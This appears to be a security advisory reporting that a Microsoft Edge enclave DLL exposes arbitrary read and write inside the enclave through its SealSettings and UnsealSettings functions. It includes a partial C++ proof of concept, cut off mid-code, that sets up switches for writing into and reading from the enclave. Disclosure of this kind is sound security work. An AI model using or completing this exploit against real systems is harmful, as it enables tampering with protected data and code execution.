Microsoft Edge: Arbitrary Perms

### Summary The file prefs_enclave_x64.dll distributed with Microsoft Edge implements two functions SealSettings and UnsealSettings. These take buffer arguments for reading and writing which can be outside or inside the enclave that the dll is loaded into. This allows for arbitrary r/w within the enclave from outside the enclave. ### Severity Moderate - arbitrary read and write rights within an enclave from outside of the enclave can allow an attacker to gain access to sensitive data or to execute arbitrary code within the enclave. ### Proof of Concept Poc demonstrates writing near the leaked address returned from Init(). Note: compiles in Chromium tree as an executable target. ```C++ // .\out\Release\tiny.exe --v=1 --enable-logging=stderr // --dll=D:\ghidra\enclave\dlls\prefs_enclave_x64.dll // --write-data=32 --read-data=32 // This is a testing tiny main. // .\out\Release\tiny.exe --v=1 --enable-logging=stderr // --dll=D:\ghidra\enclave\dlls\prefs_enclave_x64.dll #include <limits> #include <windows.h> #include <enclaveapi.h> #include "base/command_line.h" #include "base/files/file_path.h" #include "base/logging.h" #include "base/strings/string_number_conversions.h" namespace switches { constexpr char kEnableLogging[] = "enable-logging"; constexpr char kLogFile[] = "log-file"; // Sets the minimum log level. Valid values are from 0 to 3: // INFO = 0, WARNING = 1, LOG_ERROR = 2, LOG_FATAL = 3. constexpr char kLoggingLevel[] = "log-level"; // enclave dll path constexpr char kDll[] = "dll"; // --data=string to show round-trip constexpr char kSealData[] = "data"; // --read-enclave to get data from offset in enclave constexpr char kReadData[] = "read-enclave"; // --write-enclave overwrite at offset in enclave constexpr char kWriteData[] = "write-enclave"; } // namespace switches namespace { bool InitLoggingFromCommandLine(const base::CommandLine* command_line) { logging::LoggingSettings settings; settings.log_file_path = L"c:/temp/tiny-debug.log"; if (command_line->GetSwitchValueASCII(switches::kEnableLogging) == "stderr") { settings.logging_dest = logging::LOG_TO_STDERR; } if (command_line->HasSwitch(switches::kLogFile)) { settings.logging_dest |= logging::LOG_TO_FILE; settings.log_file_path = command_line->GetSwitchValueNative(switches::kLogFile).c_str(); settings.delete_old = logging::DELETE_OLD_LOG_FILE; } logging::SetLogItems(true /* Process ID */, true /* Thread ID */, true /* Timestamp */, false /* Tick count */); logging::InitLogging(settings); if (command_line->HasSwitch(switches::kLoggingLevel) && logging::GetMinLogLevel() >= 0) { std::string log_level = command_line->GetSwitchValueASCII(switches::kLoggingLevel); int level = 0; if (base::StringToInt(log_level, &level) && level >= 0 && level < logging::LOGGING_NUM_SEVERITIES) { logging::SetMinLogLevel(level); } else { DLOG(WARNING) << "Bad log level: " << log_level; } } return true; } typedef void* INIT_TAG; typedef struct _prefs_init { char* init_name; } PREFS_INIT; typedef struct _seal_args { INIT_TAG config_ll; unsigned char* data_to_seal; unsigned char* protectedBlob; DWORD sz_data_to_seal; DWORD sz_protected_blob_size; } SEAL_ARGS; typedef struct _unseal_args { INIT_TAG config_ll; unsigned char* protected_blob; unsigned char* unsealed_data; DWORD sz_protected_blob; // not sure about these fields exactly DWORD unsealed_size; DWORD unsealed_size_max; } UNSEAL_ARGS; } // namespace int main(int argc, char** argv) { base::CommandLine::Init(argc, argv); InitLoggingFromCommandLine(base::CommandLine::ForCurrentProcess()); VLOG(1) << "Verbose logging with --v=1 --enable-logging=stderr"; // Faffing with enclaves ENCLAVE_CREATE_INFO_VBS create_info{}; create_info.Flags = 0; c

Severity from

GitHub (reviewed advisory)

• github.com/google/security-research/security/advisories/GHSA-wwr4-v5mr-3x9w
• github.com/google/security-research